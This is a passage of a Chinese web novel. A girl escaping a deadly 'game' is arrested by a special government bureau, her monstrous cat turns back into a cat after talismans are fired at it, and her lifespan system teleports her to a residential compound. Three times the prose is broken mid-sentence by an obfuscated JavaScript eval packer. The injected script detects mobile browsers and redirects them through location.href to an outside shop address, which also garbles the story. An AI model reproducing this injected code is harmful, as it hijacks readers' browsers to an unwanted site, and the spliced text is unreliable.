管不了那么多了!骆寻揽着翠花,紧紧地靠在了墙壁之上。 也正在此时,她终于看见了显示屏上重组的文字。 【恭喜你们成功杀死了魔鬼。】 哈? 这是什么意思?游戏是胜利了还是失败了? 如果胜利,轿厢为何疑似将要坠落?可如果失败,规则又为何要恭喜?门外的又是什么?它就不能把话说明白吗!? 仿佛察觉到她的所思所想,显示屏的红光意味不明地闪烁起来,而后“滋滋”两声,就如同飘摇的烛火遭遇了狂风般,倏然熄灭! 在骆寻不可置信的目光里,它居然就这么熄、灭、了! 那是轿厢里最后的光源,它一灭,周遭顿时便陷入了彻彻底底的黑暗。 黑暗使人不安,所有的声音都被放大,好似又有什么东西正在伺机而动……不,不是好似,门外那东西还在猛烈地撞击呢! 完全搞不懂眼前的状况,骆寻只能死死地盯着门的方向,浑身紧绷。 倏忽,撞击声消失了。 一点微光自门板歪曲的缝隙间泄入,尘雾弥漫,夹杂着朦胧的人声。 ——人声? “徐队……” “已经确认……是否要……” “李明尘他……” 李明尘? 捕捉到这个模糊而又清晰的名字,骆寻忍不住低头瞥了眼。 黑暗让她只能看见一个轮廓,那男人正软趴趴地倒在地上,一动不动,不知道是死了还是晕了。 应该只是晕了,寿命系统并没有跳出余额增加的提示。 不,也有可能是死了……毕竟他那么弱,杀他余额或许根本就不会增加。 门外的东西会说话,还认识李明尘,是和他一样的“玩家”吗?嗯,也不能排除是鬼怪的可能性。 虽然手无寸铁,但五个小时的余额还是给予了骆寻底气,她咬紧牙关,只待门被彻底打开的那一刹那—— “行动。” 一道冷冽的女声在门旁响起。 几乎她话音落地的下一瞬间,巨大的撞击声便再度响彻轿厢—— “咣!!” “咣!!!” 一下又一下! 那扇李柏曾经拼尽全身力气也没能打开的门,在不过眨眼之间,就这么被暴力地破开了! 在更加强大且绝对的力量面前,这座悬于高空的牢笼,这只曾经斥满猜疑的怪物,也不过是一堆破铜烂铁,终有被开膛破肚之日! 金属做的门板应声而裂,门外的灰尘疯狂涌入,错乱的电流声层出不暇,连带着轿厢一同颤抖! “开了开了!” “我去,这都什么啊!?好恶心!” “小李,小李?呕……” 人声接二连三响起,几道炽烈的白光在头顶乱晃。 骆寻试图分辨,岂料那强光竟直接灌进眼底,刺得人眼眶酸涩,睁都睁不开。若强行去看,眼前只会剩下白茫茫的一片。 恍然,骆寻产生了某种错觉,陈静慧低哑的祈祷又一次回响耳畔。 “请接引我前往您的神国……” 门外的好像并非是鬼怪,既然没有鬼怪……呃,难不成她也跟着陈静慧去神国了? 可她甚至都不知道她信仰的是什么神明,她也要跟着去吗? “咚。”又一声闷响,好像有什么人轻巧地跳进了电梯,轿厢跟着晃悠了一下。 “安全。”那冷冽的女声再度响起。 紧接着便是一阵窸窸窣窣,骆寻的视野在此刻渐渐恢复,她看见一个模糊的人影,跨过地上的尸体,朝她走来……然后在她旁边蹲了下去。 “啪。”地一声脆响。 “还活着没?”那人提溜起李明尘的脑袋,拍了拍他的脸颊。 李明尘虚弱至极的声音随后响起:“师姐……” 那人嫌弃地“啧”了一声,“你这脸上弄得什么啊?真惨!你怎么就这么糟心……那么多人在呢,怎么就唯独挑中你了?” 李明尘:“……” “行了,没事了。”那人又抓了把他的头发,然后回头高喊,“让医护过来!” “让我看看,这还有一个……”她一边说着,一边就这么放开了李明尘。 “咚!”这是李明尘的脑袋与地面进行亲密无间接触的声响。 李明尘:“……” 心累,今夜唯有心累。 可恍惚间看见女人朝旁边走去,意识到她要做什么,他也顾不上什么累不累、痛不痛了,整个人都仿佛被打了强心剂般,立刻清醒了过来! “师姐,别——” “咔哒!”和他的声音一同响起的,是一阵干脆的金属碰撞声。 …… 骆寻的视野终于彻底恢复了。 她的眼前浮现出了一张属于女人的、灿烂的笑脸。 她很年轻,瞧着比李明尘大,却又大不了几岁。她穿着身骆寻只在军旅电视剧中见过的深色战斗服,和她的行动一样干脆又利落。 她有着一只哪怕在这样昏暗的环境里也闪闪发亮的眼睛,为什么说是一只呢?因为她脸上还带了个冒险电影中常见的海盗眼罩。 “你被捕了。”她对骆寻说,那只独眼弯着,“危害游戏治安,谋杀特别调查员未遂……你喜欢什么罪名?” 骆寻觉得她脸上的笑容比刚刚那几道莫名其妙的白光还要刺眼。 她想躲闪,低下头,却见一副手铐不知何时锁在了她的手腕上。 玫瑰金色,亮闪闪的,也在昏暗里发着光。 骆寻:“……” 骆寻:“……你是谁?” 女人闻言很是诧异,她先看了看自己,又看了看李明尘,最后才看向她。 她的眉毛古怪挑起:“你不认识?” 骆寻:“我该认识吗?” 女人指了指自己胸前战斗服上的标志,见骆寻没有反应,她又开始在口袋里摸索。 “真是奇了怪了。” 半晌,她拿出一个黑色封皮的小本子。本子不到一手宽,很薄,似乎是某种证件,封皮上嵌了枚红底金边的徽记,那金色在昏暗中划过,竟比之前的所有加在一起还要闪亮。 女人问:“这个你总认识吧?” 望着那枚徽记,骆寻怔了下。 认识,这当然认识——红底金边,五角星,从小到大都再熟悉不过了,让人一看便知,这谁不认识啊? 噢,原来不是神国,而是祖国啊。 ——祖国!!? “我是国家特殊政务管理总局,游戏特别外勤行动处,十一大队的队长。”女人把本子打开,推到她面前,“我叫徐希夷。” “刚刚被你故意伤害的那个,是我们的特别调查员。” “你的行为严重触犯了游戏治安管理条例,我在此正式的通知你,你被捕了!请你配合我们的调查。”说着,她“啪”地一声合上本子,不管骆寻有没有听懂,有没有看清,只管朝外挥手,“带走!” * 骆寻一脸懵然地被带出了轿厢。 祖国,什么局……什么什么? 国徽的冲击力太大,骆寻的脑子里最终只剩下一句回荡不停地“你被捕了”。 我是谁,我在哪,我怎么就被捕了? 政府不是早都已经…… 迷茫间,骆寻记起她曾经问李明尘:是不是还有别的游戏存在? 身为老玩家的李明尘当即肯定了这个问题。 那她……这是刚结束了一个游戏就又进入了新的游戏? 嗯,很有可能。 这是骆寻眼下所能想到的、最具有信服力的说法了。实在有太多东西涌入大脑,她思考不过来,索性就不思考,直接接受了这个说法。 当一个人明知寿命无多,仅余下几个小时时,你也会接受一切的。 可接受后,新的问题又浮现了——这又是什么游戏?该怎么通关? ……警匪RPG?她逃,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342980|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们追,她法外无天? 骆寻试着活动了下手腕,并没有任何人留意她的动作。 说是“带走”,但这帮人其实只带她离开了轿厢,他们的人手似乎并不是很充裕,把她带上来后就不太管她了。骆寻还在国际大厦A座,还在这层楼,还在电梯厅之中——她甚至可以近距离地观摩他们工作。 逃跑的机会挺多的,翠花现在也还是流体的状态,会自觉地紧紧攀绕在她臂膀上,敬业地伪装成外套,不需要骆寻多花心思考虑。 那,逃吗? 骆寻莫名地还想再多观摩一下。 头顶的灯光明亮而又柔和,不似鬼城黑黢黢地没有电力,也不似电梯红光那么令人恐慌……墙边有扇小窗,透过窗子,隐约能瞧见夜幕下亮起灯的高楼大厦,一层层好似繁星点点,楼顶赤色的防撞灯忽闪忽闪。 身边的人走走停停,手上都各自有着活干,无暇顾及其它,这让骆寻有种忙里偷闲的静谧感。 恍惚间,她好似回到了从前,回到了那个灾难还没有发生,鬼城也并不存在的年代。 她已经记不清上次感受这样的静谧是在什么时候了。 赌书消得泼茶香,当时只道是寻常。 …… 电梯厅很宽敞,共有六座电梯,其中有五座都在正常运行,唯有一座——也就是骆寻刚刚出来的那一座,老旧破败,门框处的金属都早已氧化发黑,深深地嵌在墙中,简直就像是刚刚被挖掘出来的文物一样。 周遭碎石废铁铺了一地,还摆着各式各样、价值不菲的电子设备,人们清扫的清扫,记数据的记数据,李明尘一被人搀扶上来,看见的就是这般犹如考古现场般热火朝天的忙活。 “真是辛苦你了,小李。”同事抽空抬头,一言难尽地扫过他的脸,还有脖子。 “不辛苦,不辛苦。”李明尘扯出一个牵强的笑,强行转移话题,“对了,咱们来之前整理的事故报告,能不能现在拿一份给我?” 特政局严重人手不足,恨不得把一个人掰成两个人用是常有的事。对于他刚刚历经生死就要马上参加工作的行为,同事半点也不觉得奇怪,随手指了下,“喏,那边。” 李明尘也不再麻烦别人,自己扶着墙就走了过去。 国际大厦建设至今已有二三十年,大大小小的事故发生不少,资料足有厚厚一沓。李明尘目的明确,很快便精准拿出了其中一起。 这份报告上记录了一起骇人听闻的电梯冲顶事故! 那是在大约两年前的某个夜晚,电梯自1楼启动后,竟只用了短短十几秒钟便冲到顶层,而后又迅速地、直直坠落到底,整个轿厢都在巨大的冲击力下变形扭曲,梯内五名乘客无一幸存,全都在顷刻间被砸成了肉酱,收尸的时候混在一起,分都分不开! 事故发生后,这座电梯即使换新也无人敢用,大厦的管理方索性便在每一层都砌上一堵墙,把事故电梯彻底封存了。国际大厦A座的六座电梯也正是由此,只剩下了五座。 而后直到近日,师姐带领他们十一大队搜寻内测副本,锁定了这座大厦……其实本来是毫无头绪与进展的,他们都准备要收队了,但岂料他忽然失踪——李明尘才通关一场游戏不久,照理说怎么也不该在这时又进入游戏! 师姐当机立断,重新部署了设备与人手,终于,在他失踪半小时后取得了新进展。 ——红外扫描仪检测到顶层的墙里有人! 十一大队奋力砸开了那堵墙——消失的第六座电梯这才重见天日!差点被骆寻掐死的他,也终于得救! 想到这跌宕起伏的经历,李明尘真不知道该说自己是倒霉还是幸运好了…… 他摇摇头,继续翻看报告。 报告的前几页写事故成因与后续处理,故障的详细缘由却并未写明,只说是检修工粗心大意。 后几页则是五位遇难者的资料,他们都是当时正在这栋大楼里加班的白领。 翻到其中一页,李明尘的手指倏然一顿,而后又很快颤抖了起来。 遇难者:方璇。 出生于1○96年……家庭住址…… 一张并不陌生的脸正在资料的入职照片中朝他微笑。 那是她还没有死去,还没有变成红线鬼的时候。 他早该想到的。 如果他当时认真看完了这叠资料就好了。 11. 中秋雪 骆寻忽然看见李明尘被人从轿厢里搀扶了出来。 他和人说了没几句话,就径自扶着墙走到一边去了。而后便见他捧着叠纸,待在角落背对着人,肩膀微微地颤抖。 李明尘是骆寻眼下唯一的熟人了。 想了解些东西,显然还是找他最好。 见四周还是无人在意自己,骆寻想了想,索性直接挪了过去。 她探出头,努力翘起被手铐拷住的手,朝他挥了挥,“嗨,李市政。” 李明尘:“……” 李明尘:“!!!?” 看着眼角湿润,脸上愈发埋汰的男人,骆寻疑惑,不解,更加迷茫。 她不太确定地问:“你在哭吗?” 李明尘迅速抹了把脸,又惊又俱,又不可置信。 他反问:“你、你怎么还在这儿!?” 骆寻:“我还想问你呢。” 那女孩一脸的坦然,离开了昏暗的轿厢,李明尘这才发现,她瞧着岁数真不大,看起来也就是还在读高中或者大学的年纪。她脸上的浅淡主要是源于眉眼——她的眉毛很浅,接近于无,眼瞳却又很深很黑。 这样一种情况下,眼瞳几乎就成了她脸上唯一的对比色,衬得皮肤愈发苍白透明。 不,不对!她到底为什么这么坦然啊!? 十几分钟前死死掐住他脖子的那个人难道不是她吗!!? 那怎么也无法挣脱,濒临死亡的窒息感至今尚存,李明尘的脖子火辣辣地疼着,红肿了一大片,让他哪怕稍有触及都止不住的恐慌。 他情不自禁地后退了一步,想逃,却又发觉自己身处角落,四周只有墙。 同事们就在不远处,李明尘想呼救,可又立刻想到:这女孩显然是冲着他来得,如果他呼救,她万一一个不高兴——他已经够作孽了,可万万不能再波及同事们了! ……她要杀就杀吧,反正他确实该死。 脑子里一瞬间闪过了千万个想法,李明尘最后干脆地闭上了眼,挺直了脖子。 可等了半晌,料想之中的冰凉触感也未袭来。李明尘小心翼翼地睁开眼,只见那女孩目光落在虚空,正犹如被雷击中般呆在原地。 这是怎么了? …… 就如同追剧时不知埋伏在何处的广告弹窗一样,骆寻的眼前忽然就又蹦出了大片的红字! 「异常情况10*&……正在检测中!」 「检测到主脑信号%^6……正在与主脑进行链接*#……已与主脑完成链接!」 「检测到系统版本极度落后……正在接收最新系统版本。」 「已接收……」 「系统强制升级中!」 「正在载入全新功能模块……为确保余额计算正确,请勿在此时击杀鬼怪!」 「1%……2%……」 一道才刚刚冒头的红色进度条出现在下方。 ……诶? 骆寻再回过神来时,发现眼前站着的人不知何时从一个变成了两个。 李明尘,还有他的独眼师姐,叫徐……徐什么来着? “徐希夷。”女人脸上依然带着微微的笑意,她如此说着,骆寻这才发现自己竟把疑惑宣之于口。 她有些尴尬,这位徐师姐却并不在意,她只是若有所思地打量了骆寻一圈,而后说:“刚让人查了下监控,其他玩家都有被拍到出现在大厦附近,只有你没有……你就像是凭空出现的一样,还真是耐人寻味啊。” 骆寻:“……是吗?” 徐希夷又转开了话题:“走吧,我亲自押送你。”说是这么说,可她并没有要动手的意思,反倒两手插兜,转身便走。 骆寻迟疑了一下,还是决定暂且先配合她,跟了上去。 寿命余额系统从来都只有余额提示,进电梯时的报错是第一次,黑暗中的暂停是第一次,眼下的升级也是第一次。 数次将她逼至绝境的是系统,令她厌烦至极的是系统,但若真论起来……骆寻最大的生存依仗也是系统。 在它完成这莫名其妙的升级之前,不管发生了什么,她最好都不要轻举妄动。 回头看见骆寻跟上来,徐希夷又叫了声李明尘:“你跟我一起!” “啊?”李明尘不想去,他宁愿继续工作,也不想跟骆寻待在一起。 徐希夷却说:“抓紧,别废话!” 行动处纪律严明,下属必须服从上级安排,更何况还有着“师姐”这个头衔的血脉压制在……李明尘最终还是跟了上去。 “叮!”地一声。 紧张地盯着电梯显示屏看了一路,见其缓慢降至数字“1”,平平稳稳落地,电梯门也如期打开……李明尘这才终于有了种劫后余生的真实感。 玻璃大门刚打开,一阵冷冽而又清新的空气便扑面而来。 此刻已临近午夜,夜色深重,一轮明亮的圆月高悬在天。 骆寻仿佛受到牵引般仰头望去,旋即怔住。 首先,鬼城虽然有白天黑夜,但天空中却永远都没有太阳和月亮,那儿就仿佛是一片被神遗弃之地,所有伟大而又精妙的馈赠都与尔无关。 其次,这天上……怎么还真飘着雪啊? 雪花不大,小米一般,落到身上马上就融化了,肉眼甚至难以分辨,唯有借着昏黄的路灯才能瞧见真章。 簌簌小雪,静静北风。路边没什么人经过,萧瑟而又静谧。 骆寻犹记得刚踏入电梯时,她被李明尘质问——外面在下雪,你怎么只穿短袖?你到底从何而来? 幻梦般的雪与头顶银盘似的月亮让她再度产生了怀疑,她从何而来,又究竟来到了哪里? 这真的是又一场游戏吗?她会不会其实已经死了?这只是临死前的最终幻想? 冷风一吹,皮肤上不自觉地泛起鸡皮疙瘩,翠花仿佛也感受到这冷意,在臂膀上缠绕得愈紧。而视野的角落,正处于升级中的寿命余额系统还在静静地闪烁。 「07:41:18」 「系统正在强制升级中——23%」 好吧,虽然搞不懂,但她确实没死。 她还有差不多八个小时可活呢。 “这才刚十月份就下雪了,今年想必是场寒冬啊。”徐希夷走在前面,一阵唏嘘。 李明尘还是不敢离骆寻太近,远远地坠在后面,闻言似想起什么,浑身一震:“我差点忘了!” 徐希夷:“什么?” 李明尘:“收容所,我明天就去趟收容所。”他显露出几分急色,“今年气温降得比以往都早,保暖措施还没来得及准备,得快点才行——” “行了行了。”徐希夷不耐烦地打断他,“你以为就你操心呢?多你一个不多,少你一个不少。” “你明天先去趟医疗部,我给你批两天假,这些事都等休完假再说。” 李明尘:“可是……” “没有可是。”徐希夷说,“你昨天刚出游戏,今天又来一场,明天还要接着工作?本来这回中秋就没放假……这传去好听吗?人家还以为咱们局真是什么周扒皮呢!” 李明尘:“是不怎么好听,但我是自愿的啊……” 徐希夷:“别废话了。” 这两人絮絮叨叨,骆寻有心留意,话音却左耳进右耳出,压根没经过大脑。 她一步三抬头,满心满脑都被那轮圆月所占据,再装不下其它。 真圆真亮!越看越觉得稀罕! 今天该不会正好是中秋节吧? 正说话的那两人自然也都留意到了骆寻的异状,她们短暂交换了一个眼神,默契地当做什么都没看见,继续聊工作。 就快到车那边了…… 徐希夷向总局申请抽调了临时人手,之所以把骆寻晾在楼上那么久,正是因为在等人过来。 “徐队!” “徐队长!” 骆寻循声看去,只见几个身着便衣的年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342981|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人正在朝她这个方向敬礼。 这几人腰板挺得笔直,一身正气挡都挡不住,身份一看便知。 可他们在寒风中瑟瑟苦守的……却是一辆面包车。 ——就是那种古惑仔电影中打群架用的,在现实生活中则通常用来买货送货的灰色面包车。 “……你们还挺朴实的。”确定了这就是即将押运自己的车,骆寻忍不住抽搐嘴角。 可无人应声。 风吹静寂,雪落无声,为眼前的世界蒙上了一层模糊的滤镜。透过滤镜究竟看见什么,只有个人心里最清楚。 徐希夷收敛笑意,微微点头,示意行动。 下一秒,这伙人便犹如启动了某种程序般,沉默而又迅捷地行动!一个开车门,两个按住骆寻的臂膀,还有一个在善后——一眨眼,骆寻就被按进了轿厢。 再一眨眼,门关上了,并不算太宽敞的面包车前后左右都挤满了人。 一切都只发生在瞬息间,毫不拖泥带水。 “也该看看你到底是个什么东西了!”徐希夷的声音从主驾驶位传来,骆寻下意识地挣扎,却又听见一种“咔哒”声接二连三响起。 她怔了下,旋即反应过来——那是保险栓打开,子弹上膛的声音。 「系统正在强制升级中——44%」 寿命余额系统还在升级,不能轻举妄动。 后视镜中,徐希夷的嘴角微微上翘,骆寻眼睁睁地看着她从驾驶位下拿出了什么东西,猛地朝她射来—— “咔!” 意料之中的痛觉并未到来。 一抹澄黄色糊了满眼,纸墨独有的草本矿物香气正在鼻间蔓延—— 几秒钟后,骆寻呆滞地看着眼前的一切。 徐希夷嘴角的笑意分外猖狂,她手里的拿着的却是一把任谁也无法想到的钞票枪! 是的,钞票枪,就是派对上用的那个喷钱钞票枪,某夕九块九包邮,还送一百张美钞。 而扳机按下,枪口狂喷的却既不是美钞,也不是人民币,而是澄黄色的符纸。 ——用赤红丹砂画满了歪歪扭扭、看不懂的符文,老式僵尸片里才会用到的那种黄符纸。 荒谬! 符纸很快就遍布车厢,棚顶,座椅,骆寻的脸上身上,那几个便衣的脸上身上…… 太荒谬了! 朱砂在暗色里散发微芒,像一条条扭曲的小蛇,徐希夷猖狂咧开的嘴角也像是蛇,偏偏除骆寻外,好像并没有任何人感到奇怪! 符纸都贴到脸上了,那几个便衣居然连眼睛也不眨一下! 这世界上绝对没有比这更荒谬的事情了吧!? 这是骆寻的世界观在今天不知第多少次遭遇重洗。 她整个人都死机了。 同样有点死机的还有徐希夷。 看着骆寻没有任何变化,她不可置信:“怎么回事?” 李明尘瑟缩在副驾驶位,他怎么也没想到师姐会狂野地选择就在车里行动!更没想到的是,符纸居然对那个女孩毫无作用!! 她到底是什么……怎么会这样……该怎么办? 忽然,李明尘想起了什么。 “师姐,外套!她的外套——” 话音落地,众人的目光齐齐望向骆寻怀中。 某夕出品的喷钱枪相当给力,黄符顷刻就遍及那女孩全身,却又因为没有效力,很快如同废纸般纷纷滑落——只除了落在她外套上的以外。 小雪不足以洇湿外套,符纸上也并未喷水,那几张黄符却皆如同遇了水般,牢牢地黏在外套上。 符文的红光一点一点明亮,符纸却越来越皱,就仿佛底下正有什么东西在紧紧吸附一样! 众人屏息凝视。 一秒,两秒,三秒…… 外套的边缘微微翕动着,终于——一颗灰色的,毛茸茸的脑袋猛然探了出来,大口喘息着! ……诶? 那是只猫吗? 12. 导航功能 圆脸,尖耳,灰色的、茂密柔软的毛发。 还有一双大大圆圆的、澄黄色的眼睛——这是张任谁看了都会欣喜的可爱脸庞。 车厢中的静寂持续了好半晌,才有人迟疑出声:“……猫?” “哪儿来的猫啊?” “怎么会是只猫?” 是啊,怎么会是只猫? 李明尘瞳孔地震,他还记得电梯里那分毫不逊色于红线鬼、恶心至极的粉色肉块,他半点都不敢忘! 那怪物原来是只猫!? 他一点都没法将这两种存在联系在一起。 骆寻则呆呆地与怀里的小猫脑袋对视,那双黄铜色的眼睛里正清晰倒映出她呆滞的脸。 好傻,那真的是她吗? 不,不对——这是真实发生的吗? 骆寻不可置信地掐了自己一把,痛觉尖锐而又迅猛的袭来,眼前的小猫脸却依然存在。 没有消失,也没有变成那不成型的粉色肉块…… 骆翠花,她最亲爱的同伴,她已经面目全非的伙伴,在鬼城无人可医,在游戏亦无法拯救……她都已经接受它会永远这样下去了,结果就在刚刚,在她觉得这世界荒谬至极的时刻,它居然轻轻松松地变回来了?? 不是说游戏没有办法实现心愿吗? 仿佛察觉到她心中所想,那灰猫忽而抻长了脖子,轻轻蹭了蹭她的脸颊。 “喵。” 柔软的、毛茸茸的、尚还带着几分凉意的触感真切传来,熟悉而又陌生。 它真的回来了…… 骆寻久久不能回过神来。 面包车里唯一还算镇定的就是徐希夷了。 她眉头一蹙,眼睛一扫,那几个便衣当即便收起困惑,严肃整装——“鬼怪”会以任何意想不到的形态出现,这在加入特政局的第一天他们就该知晓! 看见就连李明尘也不敢松懈了,徐希夷这才满意地摩挲起下巴,又由上至下重新打量了一遍骆寻。 那只独眼颇为意味深长,最后才落在被贴满黄符的灰猫身上。 “你身上的鬼,原来是这东西啊……我说呢。” 骆寻:“……?” “什么叫这东西?它有名字,它叫翠花。”她按下心底复杂的情感,倏然瞪向了那女人。 “哦,翠花……”徐希夷的话锋陡然一转,“这么说,你承认它是鬼了?” 骆寻:“?我什么时候——” 徐希夷打断她:“窝藏鬼怪,看来你的罪名又要再加一条了。你要不要猜猜自己会蹲多久?” 骆寻本以为李明尘就算够难交流的了,没想到还有更甚者,该说她俩不愧是师姐弟,师出同门吗? 还蹲多久…… 「07:23:34」 「系统正在强制升级中——55%」 等系统升级完,她立刻就走!谁蹲大牢谁傻子! 见那灰猫被女孩以保护性的姿态紧紧抱在怀中,徐希夷没有再轻举妄动。 这符箓是科研部近来的新发明,还处在测试阶段便被她讨来了,据说能对鬼怪起到压制的作用,事实也确实如此,效果甚至比她料想中的还要好。 但唯一美中不足的是,压制所生效的时间尚还不明朗。 可能只生效短短的几分钟,也可能生效十天半月……这都要视鬼怪的情况而定。 十一大队是为内测副本的监测而来,带着一帮文员,没有携带任何武器,就连这几个武装便衣都是临时紧急抽调来的。就像从未想过李明尘会被拉进游戏一样,她们也从未想过还会有骆寻这么个意外收获。 情况突然,条件简陋,这附近又全是居民区,这是徐希夷眼下所能想到最为稳妥迅捷的处理方式了。 剩下的,就得交给时间了——只要能在符箓失效前赶回局里,一切就都好说了! 后视镜中,女人的嘴角再度上扬:“趁现在好好想想你有什么可以主动交代的吧,等回到局里,我可就不一定这么好说话了。” 话音落地,伴随着阵阵引擎嗡鸣声,她猛然踩下油门! 徐希夷不能确保符箓生效的时间,却可以笃定自己的车技。 难以想象面包车居然能有这样强劲十足的马力!骆寻猝不及防,一头撞上了前面的座椅。 该死…… 坐在她前面的是李明尘,这人似乎正为自己方才“通风报信”的行为而不安,完全不敢多看骆寻一眼。 骆寻也无暇顾及他,仓促搂紧了翠花,便只定定盯着视野角落里的升级进度条。 「系统正在强制升级中——61%」 「系统正在强制升级中——70%」 「系统正在强制升级中——82%」 窗外的景色飞速掠过,风雪愈发模糊,而仪表盘上的码数却还在不断飙升。 * 绿灯甫一熄灭,一辆汽车便宛如饿死鬼投胎般,猛然自十字路口的斑马线后窜了出来! 轮胎的摩擦声在寂静的午夜分外刺耳,更加刺耳的则是那司机的叫骂:“*!会不会看路啊你!?” 车子几乎擦身而过,那身形瘦高的男人却仿若未闻,眼睛都没眨一下。 他只是呆愣愣地看着手中油润的月饼。 司机很快骂骂咧咧地开远,十字路口间只余下男人一人。 今天是中秋,八月十五。天有些阴,月亮却很圆很亮。 男人举起月饼比照当空,见它们形状一样,这才勉强扯了扯嘴角。而后又将月饼送入口中,许是味如嚼蜡,他动作很慢,牙齿机械性地咬合。 直到红灯再次亮起—— 男人猛地将余下的月饼通通塞入嘴中,狼吞虎咽,他甚至顾不得一身的渣子,刚吃完,便蹲下身了身去。 他用粉笔在十字路口画着什么。 画完了,他又从随身携带的黑袋子里取出几样东西。 边摆东西,他边念叨着:“爸,妈,回家吃饭了。” 一块完整的月饼被他压在碗底,瓷碗呈着精致的饭菜,一双筷子竖起并拢插在中间。 “爸,妈,回家吃饭了。” 两只碗,两盏长明灯,还有两块巴掌大小的无名牌位。烛火摇曳,男人垂着头跪在沥青路上。 “爸,妈,回家吃饭了。” 四下安静无人,连风声也浅,只有他贯彻始终的低语。 也不知念了多久,他忽然感觉眼前有一片阴影投落。 一扇照不进任何光芒的、漆黑的门竟凭空出现在斑马线上。 男人却半点也不奇怪,反倒露出了由衷的笑容,他踉跄爬起来,走进门中。 门的开合没有任何声音,下一秒,他便连同黑门一起消失在了马路中央。 忽而一阵强风刮过,吹倒了长明灯,蜡油洒了一地。马路上只剩下一个由粉笔画成的、两端尖尖的杏仁图形,还有那两座无名的牌位。 圆月静静高悬,红绿灯还在闪烁,悄无声息地目睹着一切。 * 怀中灰猫仿佛察觉到了什么,忽而瞳仁一缩,耳朵动了动。但骆寻没注意,她还在紧盯着系统的升级进度条。 「系统正在强制升级中——88%」 就快了! “师姐!你这样明天就要被叫去交通局了!”李明尘同样没想到这面包车也能越飙越快,他紧紧抓着扶手,用力大喊,“你小心局长训话!!” 徐希夷云淡风轻:“不是还有你来捞我吗?” 李明尘塞了一下,说:“我明后天都放假!没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342982|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这个义务。” 徐希夷“啧”了一声:“跟你说不明白。” 她依然没有半点要减速的意思。 「系统正在强制升级中——90%」 「系统正在强制升级中——95%」 「98%……99%……100%」 「系统已完成升级。」 终于! 前面的那对师姐弟还在拌嘴,窗外风声烈烈,引擎吵得震天响,骆寻的世界却在陡然间安静了下去。 她的目光缓缓扫过车内各处——后排押着她的便衣手里拿着的可不是什么喷符箓的钞票枪,而是斥满火药味的荷枪实弹,但面包车东摇西晃,他们不敢马虎,早便把枪收到了腰上。 拿出来要时间,上弹要时间,再说这么狭窄的空间,他们未必就敢直接开枪。 只要有一瞬的犹豫,那就是骆寻的机会! 臂膀被人抓着,玫瑰金色的手铐还扣在腕上,但这对于骆寻而言根本就不是问题。 她只需要等待面包车下次减速—— 「正在与主系统版本同步,已与主系统版本同步。」 「本系统将竭力为保证宿主生命安全而服务!」 「07:04:27」 「导航模块已装载……检测到宿主寿命余额不足24小时,导航功能已自动开启。」 什么玩意儿? 视网膜上忽然多出了很多莫名其妙的标志,骆寻还来不及定睛细看,便见其中一个指南针的图案自动闪烁了起来。 一张极其简易的,只由红线组成的地图旋即跳了出来。 「本次目的地:金凤凰小区。」 「正在为您规划最佳路线……规划完成,正在为您于现实世界开启通道……」 就如同一座电脑中了病毒,只能被他人远程操纵一般,骆寻完全无法阻止眼前正在发生的一切。 她只能看着红线弯曲,跳动,最后组成一句话: 「已为您于现实世界开启通道。」 周围忽而暗了下去,没有一点光存在,但还有声音。 徐希夷说:“我们就要到了,你想好有什么要交代的了吗?” 骆寻怔怔盯着眼前的黑暗,她低下头,发现自己的身体还在,翠花还在,她并不是失明了。 系统这是升级了个什么玩意儿?开启通道? 这黑糊糊的……通道? 能不能取消啊? 骆寻半点不想再步入黑暗,不管那究竟是什么。 可是眼前的黑暗却没有任何要消失的意思,且似乎只有她能够看见。 该死的系统,又在这种关键时刻出岔子。 骆寻不想配合,她还是决定继续自己的逃跑大计,可才刚刚活动手腕——黑暗便猛地开始扭曲,她自己也正在扭曲! 骆寻抓紧翠花,拼命抵抗—— “咚!”的一声闷响,她整个人都摔坐在了冰凉的沥青路上。 骆寻:“……” 还好,翠花还在,而且还是灰猫的模样。 确认了这点,骆寻便再无暇顾及其它,忙看向四周。 她显然已经不在面包车内了,身后是一片深邃静谧的黑暗,眼前的……则是一座居民小区? 几步远的地方有个保安亭,亭子上挂满了五彩的装饰灯,小灯在暗夜里一闪一闪,勉强照亮了旁边的水泥门匾。 “金凤凰小区”五个大字正镌刻其上,描字的红漆早便老旧斑驳,像血痂一样脱落。 簌簌小雪依旧,落在身上泛起丝丝凉意。 小区里几乎没有人家亮灯,几栋高楼就这么无声地矗立在阴影里,像是不知何时就会伸出爪牙来的庞大怪物。 骆寻再抬头,发现夜空中没有月亮。